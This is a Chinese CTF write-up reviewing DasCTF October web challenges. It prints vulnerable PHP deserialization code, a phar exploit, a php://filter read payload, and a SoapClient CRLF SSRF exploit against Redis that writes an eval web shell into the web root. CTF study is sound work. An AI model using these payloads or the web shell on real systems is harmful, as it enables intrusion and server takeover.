DasCTF 十月月赛复现

寄!
四道题,三道我不擅长的反序列化,寄,当时还要考试复习,结果没太多时间做,麻了都。

EasyPop

这题链子好找,也很快就找到了,但问题就在于最后一步如何绕过__wakeup,麻了,我就卡在这里了…….
PHP序列化冷知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}

hade_waibo

进来一看,cancan need任意文件读取,把文件全扒下来,核心实在class.php里面,肯定是phar反序列化
乍一看,又要绕wakeup,不过这一次有引用赋值,可以绕,当时没时间了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}

class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");

public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}

}

#更新了一个恶意又有趣的Test类
class Test
{
public $value;

public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}

}

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

class User
{
public $username;
}
class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->a = $Test;
$User->username = &$Test->value;
echo serialize($User);#第二步,需要把name改成* /*
// $Test->a = $User;
// $User->username = $Test;
// echo serialize($Test);#第一步,需要把名字改成数组
$phar = new \Phar("h3ne1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','h3en1');
//$phar->setMetadata($Test);第一步
$phar->setMetadata($User);
$phar->stopBuffering();

因为给实验室的新生配web靶机的docker环境,当时就顺手看看有没有start.sh或者flag.sh文件,然后就还真找到了

事实证明,docker运行之后,要删除的不只有环境变量,还有运行的sh脚本,谨防露牛子

start.sh

1
2
3
4
5
6
7
#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null

直接露牛子了吧

EasyLove

当时急着复习,这题我没看了….寄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
  <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;

public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}

public function flag(){
$this->love->getflag();
}

public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
class hint{
public $hint;
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
$hello = $_GET['hello'];
$world = unserialize($hello);

这回链子很短,先看hint

1
2
3
4
5
6
7
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=";
}
$a = new hint();
echo serialize($a);
?>

获得账号密码

1
2
3
<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?

很明显,利用SoapClient进行ssrf然后打redis 寄,还是不会
这里也看一下怎么打redis

这里比较有趣的是,当我们利用ssrf向redis发起http请求时,低版本的Redis会将请求头的内容作为redis命令解析,那么只要我们通过CRLF控制住请求头,再配合SoapClient发起请求即可,故exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
public $wllm = 'SoapClient';
public $arsenetang = null;
public $l61q4cheng;
public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>

确实要学学Redis咋用了,这都看不懂

BlogSystem

这是个好题,我慢慢品一品再来做,太多涉及到我知识盲区的东西了

作者

UPON2021

发布于

2022-10-28

更新于

2022-11-04

许可协议

# 相关文章
  1.美团CTF决赛复现 mako
评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...